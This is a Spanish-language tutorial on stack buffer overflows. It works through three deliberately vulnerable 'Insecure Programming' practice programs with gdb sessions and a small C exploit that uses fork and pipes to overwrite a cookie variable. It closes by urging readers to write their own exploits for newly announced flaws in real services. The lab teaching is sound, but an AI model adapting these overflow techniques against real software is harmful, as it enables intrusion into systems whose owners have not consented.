Entendiendo el Concepto
BoF Buffer Overflow (trad. Desbordamiento del Buffer): Un desbordamiento del buffer ocurre cuando un programa o proceso intenta escribir en un buffer (espacio temporal de almacenamiento de datos) más tamaño del que éste admite.
Ahí queda la definición de un Buffer Overflow, por si alguien no tenia ni idea de lo que era. Aun así, vamos a poner algún ejemplillo sencillo, mirar el listado1, en el hay un pequeño programa, y debajo, distintas pruebas, algunas de las cuales, generan el susodicho Buffer Overflow, ya que el código es 100% vulnerable al usar la funcion
gets, tal y como el propio "gcc" nos indica al compilar.
LISTADO 1
CÓDIGO
#include <stdio.h>
main()
{
char buffer[10];
gets(buffer);
}
COMPILACION Y EJECUCIÓN
ss@LynaXa ss $ gcc bof.c -o bof
/tmp/ccCUA6Xu.o(.text+0x17): In function `main':
: warning: la funcion `gets' es peligrosa y no debería ser usada.
ss@LynaXa ss $ ./bof
abcdefg
ss@LynaXa ss $
# El programa se ejecutará bien, siempre y cuando no introduzcamos mas de 10
# carácteres en el buffer, veamos que pasa si ponemos más:
ss@LynaXa ss $ ./bof
aaaaaaaaaaaa
ss@LynaXa ss $
# Vaya... Parece que tampoco peta, veamos que pasa si le metemos aun más
# repeticiones:
ss@LynaXa ss $ ./a.out
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
ss@LynaXa ss $
Ahora sí que ha habido un BoF de los buenos, jeje.
Fijaos qué ocurre en el ejemplo, la segunda vez no peta, aun habiendo puesto 11 caracteres. ¿Por qué? La respuesta es simple, cuando un programa empieza a ejecutarse, se guarda la dirección de retorno en la pila, de esta manera, cuando la ejecución finaliza, se salta al punto donde estábamos y se ejecuta la siguiente instrucción.
En el segundo caso, esa dirección queda intacta, en cambio en el tercero, no. Al sobreescribirla con cualquier valor, en este caso con "a"'s, se efectua un salto a una sección de memoria a la que no se debería, con lo que se produce el error.
Si nos fijamos en la figura1, tenemos las distintas etapas por las que evoluciona la pila. Como vemos, en el caso "a)" aun habiendo sobreescrito memoria ilegalmente, no hemos dañado el correcto funcionamiento del programa de una manera crítica, en cambio si nos miramos el caso "b)" vemos como hemos sobreescrito toda la dirección de retorno e incluso más, con lo que al finalizar el programa, ha intentado saltar a la dirección "0x61616161" (61="a" en hexadecimal), dónde, evidentemente no había nada que se pudiera ejecutar de manera correcta y ha soltado el error.
FIGURA 1
BasePila CimaPila
[XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX] Antes de la ejecución la pila tiene valores aleatorios
[XXXXXXXXXXXXXXXXXXXXXXXXX[Ret]XXXXXXXXXX] Al ejecutar se guarda la dirección donde se debe volver.
[XXX[Buffer ]XXXXXXXXX[Ret]XXXXXXXXXX] Se reserva espacio para las variables del programa.
a) Si ponemos 11 "a"'s:
[XXX[aaaaaaaaaa]aXXXXXXXXX[Ret]XXXXXXXXXX]
b) Si ponemos suficientes "a"'s para generar un BoF:
[XXX[aaaaaaaaaa]aaaaaaaaaa[aaa]aaaaXXXXXX]
Muchos exploits que se usan actualmente, se basan en este concepto, evidentemente varían mucho, hay que son muy sencillos, pero en cambio hay otros que son realmente complicados. Todos estos errores los hace el programador por un mal uso de las funciones (en nuestro caso "gets").
En la red existe una web que contempla gran parte de estos errores de la programación, en ella encontramos bastantes ejercicios para ir practicando y entender mejor en que consiste esto de explotar programas inseguros.
Aquí tenéis el link de la web:
http://community.core-sdi.com/~gera/InsecureProgramming/
A lo largo del articulo solucionaremos los tres primeros ejercicios del apartado "Warming up on Stack". Dicho eso vamos allá!
Exercicio1
Este primer ejercicio es bastante simple, pero sirve para entender mejor las posibilidades que tenemos si manejamos bien este tipo de errores, y la importancia que tiene el no cometerlos a la hora de desarrollar una aplicación para una empresa, aun más si es un servicio destinado al publico.
Veamos el código1, ahí se encuentra el enunciado. Como vemos el programa es prácticamente igual de simple que el del listado1.
CÓDIGO 1
/* stack1.c *
* specially crafted to feed your brain by gera */
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x41424344)
printf("you win!\n");
}
¿Entendéis en que consiste la prueba? Bueno, por si acaso os lo explico. A partir de la funcion "gets" que rellena el array "buf", debemos modificar el valor de la variable cookie de manera que valga "0x41424344", de esa manera superamos la prueba. ¿Como hacerlo? Pues partiendo de la idea del listado1, en vez de modificar la dirección de retorno con un valor aleatorio, buscaremos donde se encuentra la dirección de la variable cookie y modificaremos su contenido. Fijaros en el "printf", nos imprime la dirección donde empieza el array "buf" y la variable "cookie". Gracias a esta información, podemos averiguar la distancia exacta sin hacer cálculos extremadamente complicados.
Vamos a compilarlo y ejecutarlo a ver que pasa:
ss@LynaXa stack1 $ gcc stack1.c -o stack1
/tmp/ccvYjUt4.o(.text+0x31): In function `main':
: warning: the `gets' function is dangerous and should not be used.
ss@LynaXa stack1 $ ./stack1
buf: bffff430 cookie: bffff48c
ldsjlkfjds
ss@LynaXa stack1 $
Bueno, el gcc nos da la advertencia del "gets" tal y como era de esperar. Analicemos un poco la situación. En el momento de hacer el "gets" la pila se vería más o menos como se puede ver en la figura2:
FIGURA 2
BasePila CimaPila
[XXX[ Buf ]XXXXXXXXXX[Cookie]XXXXX[Ret]XXX]
^-(0xbffff430) ^-(0xbffff48c)
No es necesario ser superdotado para calcular cuantos bytes necesitamos inyectar en "buf" para llegar a "cookie", es tan fácil como efectuar la siguiente resta:
0xbffff430 - 0xbffff48c = 0x0000005c = 92 en decimal
Simplemente hemos mirado la diferencia de bytes entre una y la otra, y nos ha dado 92 bytes de relleno, los siguientes 4 bytes corresponderán al contenido de la dirección "cookie".
Luego fijémonos en la condición que se debe cumplir para que nos aparezca el mensaje de "you win!". La variable "cookie" ha de valer "0x41424344" que, para quien no lo sepa, correspondería a la cadena: "ABCD". Bien... veamos que pasa pues, si le metemos 92 bytes, por ejemplo... 92 carácteres "a", y luego añadimos el "ABCD" para sobreescribir la variable "cookie":
ss@LynaXa stack1 $ ./stack1
buf: bffff430 cookie: bffff48c
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaABCD
ss@LynaXa stack1 $
Mmmm... No funciona... ¿Por qué será? Debuguemos pues :), espero que sepáis lo básico del debugger de Linux "gdb". Para debugar, lo primero que debemos hacer es compilar "stack1.c" con la opción "-ggdb" para que nos permita debugarlo de una forma más cómoda.
Echar un vistazo al listado2. Ahí tenemos todos los pasos necesarios para entender porque no ha funcionado nuestro primer intento.
LISTADO 2
ss@LynaXa stack1 $ gcc -ggdb stack1.c -o stack1
ss@LynaXa stack1 $ gdb stack1
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-Linux-gnu"...Using host libthread_db
library "/lib/libthread_db.so.1".
(gdb) list 11
6 int main() {
7 int cookie;
8 char buf[80];
9
10 printf("buf: %08x cookie: %08x\n", &buf, &cookie);
11 gets(buf);
12
13 if (cookie == 0x41424344)
14 printf("you win!\n");
15 }
(gdb) break 12
Breakpoint 1 at 0x80483e9: file stack1.c, line 12.
(gdb) run
Starting program: /home/ss/ss/abo/stack1/stack1
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
buf: bffff400 cookie: bffff45c
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaABCD
Breakpoint 1, main () at stack1.c:13
13 if (cookie == 0x41424344)
(gdb) print &cookie
$1 = (int *) 0xbffff45c
(gdb) x/1 0xbffff45c
0xbffff45c: 0x44434241
(gdb)
Si nos fijamos, primero listamos el código y añadimos un breakpoint justo en la linea anterior a la comprobacion de la variable "cookie", seguidamente ejecutamos el programa hasta llegar a ese punto. Una vez allí miramos la dirección donde se encuentra la variable y imprimimos su contenido. Como vemos el contenido de la variable cookie es "0x44434241". De lo que se puede deducir que, aun habiendo sobreescrito el contenido de la variable, no lo hemos hecho correctamente.
No sé si estaréis familiarizados con los conceptos de Little-Endian y Big-Endian. Por si acaso, en el listado3, tenéis un pequeño cuadro explicativo.
LISTADO 3
Ordenación de bytes en memoria (Little-Endian y Big-Endian):
Little-Endian: El byte más significativo se guarda en la direccion más baja de
la memoria, y el byte menos significaticativo en la más alta.
Big-Endian: El byte más signficativo se guarda en la direccion mas alta de la
memoria, y el byte menos significativo en la mas baja.
Ejemplo con el numero 0x12345678:
PosicionesMem: 0x00 0x01 0x02 0x03
BIG-ENDIAN: [12] [34] [56] [78] ( 4 bytes)
LITTLE-ENDIAN: [78] [56] [34] [12] ( 4 bytes)
Pues bien, el problema que tenemos es que estamos inyectando código DIRECTAMENTE en memoria, con lo que debemos ser consecuentes con el orden en el que inyectamos los bytes. Nosotros hemos puesto "ABCD", de manera que en memoria nos los guardará tal cual, pero en realidad, a la hora de representar esta información, se leerá como "DCBA", con lo que, el contenido de la variable "cookie" no seria "0x41424344", si no, "0x44434241", tal y como hemos visto. Cómo se soluciona esto? Pues de una manera bastante sencilla, basta con tener en cuenta la ordenación de los bytes y poner "DCBA" en vez de "ABCD":
ss@LynaXa stack1 $ ./stack1
buf: bffff430 cookie: bffff48c
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaDCBA
you win!
ss@LynaXa stack1 $
Et Voilà! Primer ejercicio resuelto :) Vamos a por otro!
Ejercicio2
Bueno, el enunciado de este lo podemos ver en el código2. En este ejercicio tenemos una pequeña diferencia respecto al anterior, y es que los caracteres correspondientes a "0x01020305" no se pueden escribir en el teclado tal cual, de manera que debemos crear un programa que nos prepare la cadena y la envíe al programa vulnerable "stack2". Por otra parte, hay que darse cuenta, que al ser el programa prácticamente igual, en memoria la distancia entre buf y cookie tampoco variará con lo que nos sirven los valores antes calculados, esto nos ahorrará algo de tiempo.
CÓDIGO 2
/* stack2.c *
* specially crafted to feed your brain by gera */
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x01020305)
printf("you win!\n");
}
Entonces pensemos un poco qué debe hacer exactamente este programa. Primero definimos el tamaño de la string que usaremos, pensemos... necesitamos 92 bytes de relleno, luego necesitamos otros 4 bytes para el contenido de la variable cookie (lo que queremos asignar) y finalmente el retorno de carro para que el gets lo coja. Por lo tanto son:
Otra cosa a tener en cuenta es que el exploit debe ejecutar el programa vulnerable, por lo que deberemos usar funciones de bifurcación del flujo de ejecución, como puede ser "fork". Además debemos entrar valores en el "gets" como si fuera con teclado, pero desde el exploit. Para hacerlo necesitamos usar "pipes" (tuberías), que nos servirán para redireccionar la salida (stdout) del proceso padre (exploit) a la entrada (stdin) del proceso hijo (stack2). Sabiendo eso, veamos como hacer las cosas. Primero, después de declarar todas las variables correspondientes, debemos preparar la cadena, de la forma que sigue, primero ponemos los bytes de relleno:
memset((void *)sc,'a',92);
Ahora rellenamos los 4 bytes que formaran el contenido de la variable "cookie", hay que recordar que debemos introducirlos de forma inversa, por lo del Little-Endian, y finalmente ponemos el final de cadena:
sc[92]=0x05;
sc[93]=0x03;
sc[94]=0x02;
sc[95]=0x01;
sc[96]='\n';
El siguiente paso es crear las pipes y el proceso hijo, que se encargará de ejecutar el programa vulnerable y configurar la pipe para su entrada (stdin), además guardaremos su valor PID para esperar a que termine al final del programa principal:
pipe(pipes);
if( !(pidchild=fork()) ){
close(pipes[1]); //1 = stdout
dup2(pipes[0],0);//0 = stdin
close(pipes[0]);
execl("./stack2",NULL);
}
Para terminar debemos hacer que en el programa principal se configure la pipe como salida (stdout) y enviar la sentencia a esa salida para que la reciba el proceso hijo (stack2) como entrada (stdin):
close(pipes[0]); //0 = stdin
dup2(pipes[1],1); //1 = stdout
close(pipes[1]);
//Enviamos sentencia
write(1,sc,strlen(sc));
Finalmente esperamos que termine el proceso hijo y finalizamos el exploit:
waitpid(pidchild,0,0);
exit(0);
CÓDIGO 3
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
main()
{
char sc[92+4+1]; //bytes de relleno+contenido de cookie+'\0'
int pipes[2];
pid_t pidchild;
//bytes de relleno
memset((void *)sc,'a',92);
//metemeos el contenido de cookie
sc[92]=0x05;
sc[93]=0x03;
sc[94]=0x02;
sc[95]=0x01;
sc[96]='\n';
pipe(pipes);
fprintf(stderr,"eXploiting\n");
if( !(pidchild=fork()) ){ //devuelve el PID del proc hijo
//cerramos la salida de la pipe, porque de aquí sólo queremos
//leer
close(pipes[1]);
//todo lo que entre en pipe, lo queremos poner al stdin (0)
dup2(pipes[0],0);
//cerramos el pipe de entrada, porque ya lo hemos copiado
close(pipes[0]);
execl("./stack2",NULL);
}
//cerramos la entrada de la pipe, porque de aqui solo queremos
//escribir
close(pipes[0]);
//todo lo que escribamos en stdout, lo escribiremos en la pipe
//de escritura
dup2(pipes[1],1);
//cerramos la pipe de escritura, ya que ahora se hace referencia
//a ella por stdout
close(pipes[1]);
//escribimos en nuestro stdout, que hace referencia a pipe[1],
//la cual esta conectada con pipe[0], que corresponde al stdin
//del proceso hijo
write(1,sc,strlen(sc));
waitpid(pidchild,0,0); //esperamos a que termine el hijo
exit(0);
}
En el código3 se puede ver el pequeño "exploit" para el programa al completo y con algunos comentarios adicionales. Ante cualquier duda en el funcionamiento de cualquier función, que no os de pereza hacer un "man funcion", o buscar en google si es necesario :). Lo siento pero no puedo hacer un curso de C aquí :P.
Vamos a compilarlo y ejecutarlo a ver que pasa:
ss@LynaXa stack2 $ gcc stack2.c -o stack2
..
ss@LynaXa stack2 $ gcc xpl.c -o xpl
ss@LynaXa stack2 $ ./xpl
eXploiting
buf: bffff440 cookie: bffff49c
you win!
ss@LynaXa stack2 $
Perfecto! Funciona a la perfección, vayamos a por el siguiente, jeje.
Ejercicio3
Y más de lo mismo jeje. El enunciado de este lo podéis encontrar en el código4, y es exactamente lo mismo que el anterior, sólo que esta vez, en los valores de "cookie" hay una pequeña trampa.
CÓDIGO 4
/* stack3-stdin.c *
* specially crafted to feed your brain by gera */
#include <stdio.h>
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x01020005)
printf("you win!\n");
}
Para empezar, no hace falta decir que la distancia entre buf y cookie sigue siendo la misma que en el primer ejercicio, así que el programa que hemos hecho para el ejercicio2 nos sirve de plantilla :). Veamos que debemos modificar para que funcione también en este. Primero de todo, la sentencia que debemos preparar varia, por lo tanto modificamos esas lineas de la siguiente manera:
sc[92]=0x05;
sc[93]=0x00;
sc[94]=0x02;
sc[95]=0x01;
sc[96]='\n';
Fijaros que está del revés para tener en cuenta el Little-Endian. Una vez hecho esto, debemos tener en cuenta que el programa que vamos a ejecutar ya no se llama "stack2" si no "stack3", así que cambiaremos también la linea del proceso hijo que se encarga de ejecutar el programa vulnerable.
Bueno, parece que con esto bastará para que todo funcione a la perfección, vamos a ver si realmente es así. Compilamos y probamos:
ss@LynaXa stack3 $ gcc stack3.c -o stack3
..
ss@LynaXa stack3 $ gcc xpl.c -o xpl
ss@LynaXa stack3 $ ./xpl
eXploiting stack3
buf: bffff440 cookie: bffff49c
^C
ss@LynaXa stack3 $
Mmm... se queda esperando indefinidamente... ¿Por que será? ¿Debugamos? Pues esta vez no hará falta, jeje. Vamos a entretenernos a mirar que es lo que tienen estos valores que hemos asignado a "cookie" que nos hace fallar todo el exploit, analicemos byte a byte. Si nos fijamos el primer valor que asignamos es "0x05", si lo miramos en la tabla ascii "man ascii", veremos que este carácter no tiene nada de especial. Sigamos pues con el segundo, en este caso se trata de el valor "0x00", si lo miramos en la tabla ascii veremos que este sí tiene algo que ver con el mal funcionamiento del exploit. El valor "0x00" corresponde al carácter '\0', qué para quien no lo sepa, corresponde al final de cadena. Ahora volvamos al código del exploit, en la linea que llamamos a write, que tamaño le especificamos?
Ahí está! Especificamos de tamaño la longitud de la cadena, entonces el problema recae en strlen que, en lugar de devolver el tamaño total de la cadena se corta en el "0x00" ya que indica final de cadena, de manera que no llegamos a sobreescribir por completo el valor de "cookie" y no nos sale el mensajito de victoria.
Dicho eso la solución es fácil, tenemos dos opciones, poner directamente el tamaño de "sc", es decir 97, o bien usar la funcion "sizeof" que devuelve el tamaño en bytes de la cadena, yo he optado por la segunda, así que cambiamos la linea por la siguiente:
Recompilamos y ejecutamos a ver que pasa :)
ss@LynaXa stack3 $ gcc xpl.c -o xpl
ss@LynaXa stack3 $ ./xpl
eXploiting stack3
buf: bffff440 cookie: bffff49c
you win!
ss@LynaXa stack3 $
Ahí estamos! Ejercicio resuelto y problema solucionado jeje.
Conclusiones
Bueno señores, hasta aquí el articulo sobre practicas de BufferOverflows, espero que os haya gustado. Esto no es más que un ejemplo de Overflows sencillitos, más adelante, si puedo os pondré ejemplos más graciosos y complicados, dónde tengamos que debugar a conciencia y tener claro lo que estamos haciendo desde el principio. Si alguien no entendió nada de lo que leyó, que se lo vuelva a leer las veces que haga falta. Mirad también la web que puse anteriormente (imagen1) que es interesantísima, intentard hacerlo por vuestra cuenta, yo intentaré publicar algunas soluciones más.
IMAGEN 1
Una última cosa más, que nadie crea que por no estar entrando en ningún sistema, esto es una tontería. Las cosas tienen mas gracia si las haces tú mismo, imaginad que sale un Advisory hablando de un Buffer Overflow en un Servicio FTP cualquiera, pero aun no hay exploit para tal propósito, no hay problema, te lo haces tu mismo. Claro que serán mas difíciles de explotar, ¿Pero por algo hay que empezar no creéis?
EOF